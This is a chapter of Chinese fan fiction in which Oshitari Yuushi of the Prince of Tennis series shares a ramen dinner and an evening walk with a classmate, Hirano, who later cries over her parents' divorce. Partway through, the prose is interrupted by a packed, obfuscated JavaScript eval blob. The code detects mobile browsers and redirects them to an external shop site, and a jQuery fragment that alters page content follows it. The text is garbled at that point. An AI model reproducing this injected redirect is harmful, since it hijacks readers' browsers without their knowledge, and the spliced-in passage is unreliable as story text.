本想私聊忍足侑士控诉,但报复心理上来,他决定把这个秘密公开! 他点进网球部的群聊,手指在屏幕上“啪啪啪”敲击出声响: [你和平野是不是在恋爱?] [怪不得不让我告诉平野你看少女漫!] [我说上周你干嘛非要得到那只企鹅……现在想起来平野说她喜欢企鹅] [哈哈] [一切的一切的都接上了!] [所以你们两个一起吃晚饭?我打扰你们了对吧?!/流泪/流泪] 又被误会了,忍足侑士澄清:[……我们并没有在交往] 见一边的女生投来好奇的目光,他笑笑:“没想到被岳人猜到我是和你吃饭。” “被他猜到了啊……嘛,猜到就猜到吧。”平野月咲在拉面店入口处的的机器上点单,给自己点了份招牌的柚子拉面,“忍足呢,你要吃什么?” “柚子拌面。” 忍足侑士收起手机,看她在机器上操作。 她的手指纤瘦白净,指甲修剪得匀称,微微反光,涂了裸色的甲油,昨天还听到依田和她打听是哪一款。 平野月咲正要下单,有只手伸过来虚虚一拦,响起忍足侑士过于抓耳的声线。 “带汤的没有干拌的味道好。” 没多纠结,她选择相信忍足侑士:“好,那我吃和你一样的。” 忍足侑士闻言将她点的汤面删除,换成和自己一样的拌面下单,余光落在旁边没有收回去的手上。 她的手果然比自己小不是一点。 把小票给店员后,两人在店员的引导下面对面入座。 这也是一家相对复古的店,忍足似乎偏爱这种风格。平野月咲握着陶制茶杯,研究上面古朴的花纹。 忍足侑士将手机调成静音。 刚才一直在震动,短短两分钟,新增几十条未读消息。 群里已经从分析他上周日的反常行为——把凤长太郎约出来打网球又不让说话这件事,变成如何追女生的话题。 凤:[我认为还是要先从朋友做起吧,慢慢地熟悉起来] 宍户:[这样太慢热了吧,男子汉就要直接告诉对方心意吧] 日吉:[赞成] 向日:[但我感觉你俩都是耍嘴上功夫] 宍户:[?] …… 饭点难得清醒的慈郎: [是那位送的甜品超好吃的女生吗?很可爱啊人也很好] [还有很眼熟哦……] [啊我想起来了!我在立海大见过!她就是国三的海原祭,丸井班级活动上帮我们拍了合照的爱丽丝小姐!] [下午又变成了舞台上的恐怖修女!丸井告诉我的时候我真是被吓了一跳……那个节目就在他们的后面,真是吓死人了!] 爱丽丝和恐怖修女吗…… 店员端着托盘过来,忍足侑士收起手机,他照旧等女生先吃一口。 劲道的拉面裹有柚子风味的酱汁,清新不腻,香味特别。 “好吃!”她眼睛亮亮的时候确实像童话故事里的主角,“竟然能想出这种搭配。” 忍足侑士也掰开筷子:“平野喜欢就好。” “听你的果然没错,汤面的柚子味会很淡吧,不入味。” “是啊,拌面才能将柚子味融合得最好。” “有点期待我们下次会去吃什么。” 忍足侑士挑面的手微微一顿,但对方神色自然,他笑了下:“总是让平野请我吃饭的话我会很过意不去啊。” 平野月咲思忖着这会不会是男生的自尊心在作祟,觉得被女生请吃饭很没面子什么的…… “不过也都是因为你有帮忙啊。”她说。 忍足侑士若有所思地点点头:“那我只好多帮平野一点了,有什么需要我帮忙的地方尽管说。” 这样才对嘛。 平野月咲敛眸笑笑继续吃面。 饭后,平野月咲和“养生达人”忍足侑士一起散步消食。 适才出餐厅时,忍足侑士一句“我帮你拿”,就自然地接过了她的制服包。 天空呈现出深靛蓝色,城市只亮了几盏灯火。 四月末的天气里踱步,清凉的气流拂过,温度舒适怡人。 忍足侑士双手插兜,制服包单肩背在身后,一副慵懒松弛的姿态。 “你们网球部周三不训练吗?” 平野月咲在书店遇到他和向日君时,他们两个都没背网球包。 “是,周三休息。” “我们社团是周四休息。” “平野的休息时间都在做什么?”忍足侑士问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454820|201215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“除了看书呢?” “写东西。写不出来就换个环境,出去感受自然……” “嗯?” “比如在一个风和日丽的日子,躺在草坪上什么也不干,就看天上的云飘。” “放空自己。” “对,很放松。” “那……”关西腔忽然染上笑意,“上数学课的时候也需要放空自己吗?” 平野月咲愣了下,随即叹息一声,意有所指道:“可是看来竹村老师的得意门生也没有在专注听课啊。” “好吧,你这样说的话我只好认输了。”就算被调侃也是乐在其中,忍足侑士问,“还有吗?平野一般和朋友会去哪里玩。” “看她们约我去哪,秋奈的话喜欢去各种甜品店,在神奈川时经常去海边,那边的海很漂亮。” “平野是比较喜欢被动吗?” “我的朋友们相对来说比较热情。”不管是和朋友一起还是独处,平野月咲都能找到乐趣,而且,“我也很少拒绝朋友。” 忍足侑士好像有些理解:“是怕对方会伤心?” “这是一半原因,另一半是和朋友待在一起我也会开心啊。”平野月咲笑着看他,“就像忍足你说一个人吃饭会孤单一样。” 她的笑温和漂亮,不带任何攻击力,忍足侑士也笑。 平野月咲停在公园长椅前:“坐一会,怎么样?” “好。” 他们一起迎接天色变暗,在公园的长椅上感受春日晚风,忍足侑士此时此刻想不到比这更浪漫的事。 她看着远处的城市夜景,忍足侑士看着她的侧脸。 “小组作业,平野要和我一组吗?” “好啊。”她几乎是立刻应的,回头的时候眼里闪着对他来说动人的光,“忍足,到我问你了。一样的问题。” “休息时间做什么……这个问题对吧。”忍足侑士心下一叹,他似乎真的陷入爱情了,“除网球和小提琴外,就是看书、看电影、听歌这些吧。” 平野月咲知道他喜欢什么类型的书。会看纯爱小说的浪漫主义者,喜欢的电影类型也会和她一样吗? “电影的话,忍足喜欢什么类型的?” 热衷于唯美爱情片的忍足侑士一直被网球部的朋友们吐槽,但他们两人命运交集的那一天正是在电影院。 “平野猜一下?” 这并不是一个很难的问题,平野月咲自然也想到。 “《情书》啊……” 翘起的嘴角渐渐落下。 对她来说,那并不是美妙的一天,得知父母离婚的消息到现在也还不到一个月。 这段时间她上课,部活,写文,也尝到了一点憧憬着的爱情的滋味…… 正因为知道他们曾经深爱彼此,带着爱意相处的点滴镌刻在她的记忆里,她不敢多问,所以她扮演了一个平静地接受一切的女儿…… 情绪反扑的感觉很难受,平野月咲的心钝钝地在疼。 “平野?” 忍足侑士担心地轻轻搭上她肩膀。 他不该提及电影相关的话题的,她那天那样差劲的状态…… 气氛变得糟糕了,平野月咲忍不住自责。 “我没事……”她仰头长长呼出一口气,紧接着承认了一件事,“那天我真的想要买酒。” 今晚恰好是满月,她和月亮对视,“忍足,你是担心我,所以一直跟着我,对吧? “谢谢你。” 忍足侑士看着她,轻声道:“哭出来也没关系……” 在我面前什么都不用顾及。 平野月咲盯着那轮又大又圆的月亮,中国文学里,满月寄托着团圆的情思,多么美好的意象。 “……安慰我的话我会更想哭呢。” “眼泪的存在是有意义的。” 平野月咲怔了怔,身边温柔的声音还在继续。 “你那天遇到的是我,今天也是……和那天一样流泪就好了。” 视野里月亮变得模糊。 “忍足。” 她看过来,眼眶泛红,蓄了一层薄薄的眼泪。 “这次你的肩膀借我下。”